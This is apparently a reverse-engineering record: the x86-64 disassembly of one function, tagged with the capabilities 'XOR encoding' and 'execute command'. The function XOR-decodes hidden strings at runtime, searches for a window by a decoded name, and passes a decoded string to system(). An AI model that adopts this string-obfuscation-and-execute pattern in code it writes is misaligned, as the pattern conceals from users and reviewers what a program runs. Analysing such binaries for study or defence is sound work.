Function at 0x1400a4220
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r12
push rbp
push r14
push r15
lea rbp, [r11 - 0x5f]
sub rsp, 0xf0
movaps xmmword [r11 - 0x28], xmm6
movaps xmmword [r11 - 0x38], xmm7
movaps xmmword [r11 - 0x48], xmm8
mov rax, qword [0x140147080]
xor rax, rsp
mov qword [rbp + 7], rax
mov esi, dword [reloc.WS2_32.dll_accept]
xor r14d, r14d
mov dil, 1
mov qword [r11 + 8], rbx
lea r15d, [r14 + 5]
lea r12d, [r14 + 0x1f]
cmp qword [0x1401485c0], r14
jne 0x1400a42c6
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1400a42a1
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400a4316
lea rdx, str.NtGdiPolyPolyDraw
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401485c0], rax
test rax, rax
jne 0x1400a42c6
mov qword [0x1401485c0], r14
jmp 0x1400a4316
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [0x140149ec8]
xorps xmm0, xmm0
test eax, eax
mov edx, 4
movups xmmword [rbp - 0x39], xmm0
cmovne ecx, eax
mov dword [rbp - 0x31], ecx
lea rcx, [rbp - 0x39]
movups xmmword [rbp - 0x29], xmm0
movups xmmword [rbp - 0x19], xmm0
movups xmmword [rbp - 9], xmm0
call fcn.1400afbe0
test al, al
mov rbx, r14
cmovne rbx, qword [rbp - 0x21]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp rbx, rax
je 0x1400a4790
mov eax, dword [0x140134188]
mov r8d, r14d
movsd xmm0, qword [str.g_FPW_oPT_SJ_]
mov dword [rsp + 0x28], eax
movzx eax, byte [0x14013418c]
mov byte [rbp - 0x7d], al
movsd qword [rsp + 0x20], xmm0
cmp esi, 2
jl 0x1400a4452
movdqa xmm2, xmmword [0x140134b00]
mov r8d, 8
movdqa xmm3, xmmword [0x140134b20]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140134fb0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r15d
movd xmm5, r12d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140134b40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.g_FPW_oPT_SJ_]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140134b80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222225555555555555555]
pxor xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x20], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140134b40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x24]
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140134b80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222225555555555555555]
pxor xmm2, xmm0
movd dword [rsp + 0x24], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400a4460
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400a4790
test dil, dil
je 0x1400a4274
cmp byte [0x14013409f], r14b
mov eax, dword [str.Q_G5ZG_EE_r]
mov dword [rbp - 0x79], eax
je 0x1400a45a4
cmp esi, 2
jl 0x1400a455d
movdqa xmm3, xmmword [0x140134b00]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140134fb0]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140134fb0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r15d
psrad xmm2, xmm0
movd xmm0, r12d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140134b40]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140134b80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222225555555555555555]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp - 0x79], xmm2
jmp 0x1400a45a4
lea r9, [rbp - 0x79]
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x1400a4570
lea rcx, [rbp - 0x79]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x140134099], r14b
movups xmm0, xmmword [0x140134080]
movzx eax, word [0x140134098]
movsd xmm1, qword [str.._6ifg_K]
movups xmmword [rbp - 0x71], xmm0
mov word [rbp - 0x59], ax
movsd qword [rbp - 0x61], xmm1
je 0x1400a477f
mov ecx, r14d
cmp esi, 2
jl 0x1400a473e
movdqa xmm0, xmmword [str.22222222222222225555555555555555]
lea rdx, [rbp - 0x6d]
movdqa xmm5, xmmword [0x140134b00]
movdqa xmm4, xmmword [0x140134fb0]
movdqa xmm7, xmmword [0x140134b40]
movdqa xmmword [rbp - 0x49], xmm0
mov r8d, dword [rbp - 0x49]
movd xmm6, r15d
movd xmm8, r12d
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140134b80]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140134b80]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x1400a4630
cmp ecx, 0x1a
jge 0x1400a477f
movsxd rax, ecx
lea r8, [rbp - 0x71]
add r8, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x1a
jl 0x1400a4750
lea rcx, [rbp - 0x71]
call fcn.140052e00
xor dil, dil
jmp 0x1400a4274
mov rbx, qword [rsp + 0x110]
mov rcx, qword [rbp + 7]
xor rcx, rsp
call fcn.1401107d0
lea r11, [rsp + 0xf0]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret